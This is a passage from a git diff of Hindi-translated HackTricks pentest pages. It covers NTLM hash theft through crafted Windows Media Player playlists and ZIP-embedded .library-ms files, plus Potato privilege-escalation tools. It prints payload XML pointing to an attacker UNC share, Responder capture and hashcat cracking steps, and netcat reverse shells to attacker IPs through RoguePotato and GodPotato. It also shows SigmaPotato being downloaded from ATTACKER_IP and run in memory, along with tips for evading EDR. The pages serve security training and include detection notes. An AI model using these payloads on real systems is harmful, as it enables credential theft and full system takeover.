[https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + + +### Windows Media Player प्लेलिस्ट (.ASX/.WAX) + +यदि आप किसी लक्ष्य को आपका नियंत्रित Windows Media Player प्लेलिस्ट खोलने या पूर्वावलोकन करने के लिए प्रेरित कर सकें, तो आप किसी एंट्री को UNC path की ओर इशारा करके Net‑NTLMv2 leak कर सकते हैं। WMP संदर्भित मीडिया को SMB पर fetch करने का प्रयास करेगा और स्वतः authenticate करेगा। + +उदाहरण payload: +```xml + +Leak + + + + + +``` +संग्रह और cracking प्रवाह: +```bash +# Capture the authentication +sudo Responder -I + +# Crack the captured NetNTLMv2 +hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt +``` +### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055) + +Windows Explorer ZIP आर्काइव के भीतर से सीधे खोली गई .library-ms फ़ाइलों को असुरक्षित तरीके से हैंडल करता है। यदि लाइब्रेरी परिभाषा किसी रिमोट UNC path (उदाहरण के लिए \\attacker\share) की ओर इशारा करती है, तो ZIP के अंदर .library-ms को ब्राउज़/लॉन्च करने मात्र से Explorer उस UNC को enumerate करता है और attacker को NTLM authentication भेज देता है। इससे NetNTLMv2 प्राप्त होता है जिसे offline में क्रैक किया जा सकता है या संभावित रूप से relayed किया जा सकता है। + +एक न्यूनतम .library-ms जो attacker UNC की ओर इशारा करती है +```xml + + +6 +Company Documents +false +shell32.dll,-235 + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + + +\\10.10.14.2\share + + + + +``` +ऑपरेशनल चरण +- ऊपर दिए गए XML के साथ .library-ms फ़ाइल बनाएं (अपना IP/hostname सेट करें)। +- इसे ZIP करें (on Windows: Send to → Compressed (zipped) folder) और ZIP को लक्ष्य तक पहुँचाएं। +- NTLM capture listener चलाएँ और पीड़ित के ZIP के अंदर से .library-ms खोलने तक प्रतीक्षा करें। + +## संदर्भ +- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index b1cf1a409..9eaca6420 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** का उपयोग समान विशेषाधिकार प्राप्त करने और `NT AUTHORITY\SYSTEM` स्तर की पहुँच हासिल करने के लिए किया जा सकता है। यह [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` टूल पर गहराई से चर्चा करता है, जिसका उपयोग Windows 10 और Server 2019 होस्ट्स पर impersonation privileges का दुरुपयोग करने के लिए किया जा सकता है जहाँ JuicyPotato अब काम नहीं करता। > [!TIP] -> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. +> एक आधुनिक विकल्प जो अक्सर 2024–2025 में मेंटेन किया जा रहा है वह SigmaPotato (GodPotato का fork) है जो in-memory/.NET reflection उपयोग और विस्तारित OS समर्थन जोड़ता है। नीचे quick usage और References में repo देखें। Related pages for background and manual techniques: @@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## आवश्यकताएँ और सामान्य समस्याएँ +## आवश्यकताएँ और सामान्य अड़चने -नीचे दी गई सभी techniques एक impersonation-capable privileged service का दुरुपयोग करने पर निर्भर करती हैं, और यह context उन privileges में से किसी एक को होल्ड करता है: +निम्नलिखित सभी तकनीकें उन impersonation-capable privileged सेवाओं का दुरुपयोग करने पर निर्भर करती हैं जिन्हें ऐसे संदर्भ से बुलाया जा सके जहाँ निम्नलिखित में से कोई एक privilege मौजूद हो: -- SeImpersonatePrivilege (सबसे आम) या SeAssignPrimaryTokenPrivilege -- High integrity आवश्यक नहीं है अगर token में पहले से SeImpersonatePrivilege मौजूद है (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए ऐसा होता है) +- SeImpersonatePrivilege (सबसे सामान्य) या SeAssignPrimaryTokenPrivilege +- High integrity आवश्यक नहीं है यदि टोकन में पहले से SeImpersonatePrivilege मौजूद हो (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए) -प्रिविलेज जल्दी से चेक करें: +अनुमतियाँ जल्दी जाँचें: ```cmd whoami /priv | findstr /i impersonate ``` ऑपरेशनल नोट्स: -- PrintSpoofer को Print Spooler सेवा चालू और स्थानीय RPC endpoint (spoolss) पर पहुँच योग्य होना चाहिए। कड़े वातावरण में जहाँ Spooler को PrintNightmare के बाद निष्क्रिय किया गया है, RoguePotato/GodPotato/DCOMPotato/EfsPotato को प्राथमिकता दें। -- RoguePotato के लिए TCP/135 पर उपलब्ध OXID resolver चाहिए। यदि egress ब्लॉक है, तो redirector/port-forwarder का उपयोग करें (नीचे उदाहरण देखें)। पुराने बिल्ड्स में -f flag की आवश्यकता होती थी। -- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; यदि कोई एक pipe ब्लॉक है, तो वैकल्पिक pipes (lsarpc, efsrpc, samr, lsass, netlogon) आज़माएँ। -- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आमतौर पर किसी अज्ञात/असमर्थित RPC authentication service को सूचित करता है; किसी अलग pipe/transport को आज़माएँ या सुनिश्चित करें कि target service चल रही है। +- यदि आपकी shell restricted token के तहत चलती है जिसमें SeImpersonatePrivilege नहीं है (कुछ संदर्भों में Local Service/Network Service के लिए सामान्य), तो खाते के डिफ़ॉल्ट विशेषाधिकार FullPowers का उपयोग करके पुनः प्राप्त करें, फिर एक Potato चलाएँ। उदाहरण: `FullPowers.exe -c "cmd /c whoami /priv" -z` +- PrintSpoofer को Print Spooler service की आवश्यकता होती है जो चल रही हो और local RPC endpoint (spoolss) पर पहुँच योग्य हो। जहाँ Spooler को PrintNightmare के बाद बंद कर दिया गया है ऐसे कठोर वातावरण में RoguePotato/GodPotato/DCOMPotato/EfsPotato पसंद करें। +- RoguePotato को TCP/135 पर पहुँच योग्य OXID resolver चाहिए। यदि egress ब्लॉक है, तो redirector/port-forwarder का उपयोग करें (नीचे दिए उदाहरण को देखें)। पुराने बिल्ड्स में -f flag की आवश्यकता होती थी। +- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; यदि एक pipe ब्लॉक है, तो वैकल्पिक pipes आज़माएँ (lsarpc, efsrpc, samr, lsass, netlogon)। +- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आम तौर पर एक अज्ञात/असमर्थित RPC authentication service को दर्शाता है; अलग pipe/transport आज़माएँ या सुनिश्चित करें कि target service चल रही हो। ## त्वरित डेमो @@ -58,8 +59,8 @@ NULL ``` नोट्स: -- आप वर्तमान कंसोल में एक इंटरैक्टिव प्रोसेस शुरू करने के लिए -i का उपयोग कर सकते हैं, या एक-लाइनेर चलाने के लिए -c का उपयोग कर सकते हैं। -- Spooler service की आवश्यकता होती है। यदि यह अक्षम है, तो यह विफल हो जाएगा। +- आप -i का उपयोग वर्तमान कंसोल में एक इंटरैक्टिव प्रक्रिया शुरू करने के लिए कर सकते हैं, या -c का उपयोग एक one-liner चलाने के लिए कर सकते हैं। +- Spooler service की आवश्यकता होती है। यदि यह disabled है, तो यह विफल होगा। ### RoguePotato ```bash @@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -यदि outbound 135 blocked है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें: +यदि आउटबाउंड 135 ब्लॉक है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -122,13 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -- Windows 8/8.1–11 और Server 2012–2022 पर तब काम करता है जब SeImpersonatePrivilege मौजूद हो। +नोट्स: +- Windows 8/8.1–11 और Server 2012–2022 पर काम करता है जब SeImpersonatePrivilege मौजूद हो। ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato दो वेरिएंट प्रदान करता है जो service DCOM objects को लक्षित करते हैं जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर होते हैं। दिए गए binaries को बनाएँ या उपयोग करें और अपना command चलाएँ: +DCOMPotato सेवा DCOM objects को लक्षित करने वाले दो वेरिएंट प्रदान करता है जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर होते हैं। प्रदान किए गए binaries को बनाएं या उपयोग करें और अपना कमांड चलाएँ: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -138,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami" ``` ### SigmaPotato (updated GodPotato fork) -SigmaPotato आधुनिक सुविधाएँ जोड़ता है जैसे .NET reflection के माध्यम से in-memory execution और PowerShell reverse shell helper। +SigmaPotato आधुनिक सुविधाएँ जोड़ता है, जैसे in-memory execution via .NET reflection और PowerShell reverse shell helper। ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -149,11 +151,11 @@ SigmaPotato आधुनिक सुविधाएँ जोड़ता ह ``` ## डिटेक्शन और हार्डनिंग नोट्स -- उन processes को मॉनिटर करें जो named pipes बना रहे हैं और तुरंत token-duplication APIs को कॉल कर रहे हैं और फिर CreateProcessAsUser/CreateProcessWithTokenW को कॉल करते हैं। Sysmon उपयोगी telemetry प्रदान कर सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और ऐसे command lines जो SYSTEM के रूप में child processes spawn करते हैं। -- Spooler हार्डनिंग: उन servers पर जहाँ इसकी आवश्यकता नहीं है, Print Spooler service को डिसेबल करने से spoolss के माध्यम से PrintSpoofer-style स्थानीय दुरुपयोग रोका जा सकता है। -- Service account हार्डनिंग: custom services को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege असाइन करने को न्यूनतम रखें। सेवाओं को आवश्यक न्यूनतम privileges वाले virtual accounts के तहत चलाना और संभव हो तो उन्हें service SID और write-restricted tokens से अलग करना विचार करें। -- Network कंट्रोल्स: outbound TCP/135 ब्लॉक करना या RPC endpoint mapper ट्रैफ़िक को सीमित करना RoguePotato को रोक सकता है जब तक कि कोई internal redirector उपलब्ध न हो। -- EDR/AV: ये सभी tools व्यापक रूप से signatured हैं। source से recompile करना, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है पर मजबूत behavioral detections को हरा नहीं पाएगा। +- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon उपयोगी टेलीमेट्री दिखा सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और command lines जो SYSTEM के रूप में child processes उत्पन्न करते हैं। +- Spooler hardening: उन सर्वरों पर जहाँ इसकी आवश्यकता नहीं है Print Spooler सेवा को disable करना spoolss के माध्यम से PrintSpoofer-style स्थानीय coercions को रोकता है। +- Service account hardening: custom services को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege देने को न्यूनतम रखें। आवश्यक न्यूनतम privileges वाले virtual accounts के तहत services चलाने पर विचार करें और जहाँ संभव हो उन्हें service SID और write-restricted tokens से isolate करें। +- Network controls: outbound TCP/135 को block करना या RPC endpoint mapper ट्रैफ़िक को restrict करना RoguePotato को बाधित कर सकता है सिवाय इसके कि कोई internal redirector उपलब्ध हो। +- EDR/AV: ये सभी tools व्यापक रूप से signatured हैं। source से recompiling, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है लेकिन मजबूत behavioral detections को हरा नहीं पाएगा। ## संदर्भ @@ -166,5 +168,7 @@ SigmaPotato आधुनिक सुविधाएँ जोड़ता ह - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) - [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato) - [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) +- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) {{#include ../../banners/hacktricks-training.md}}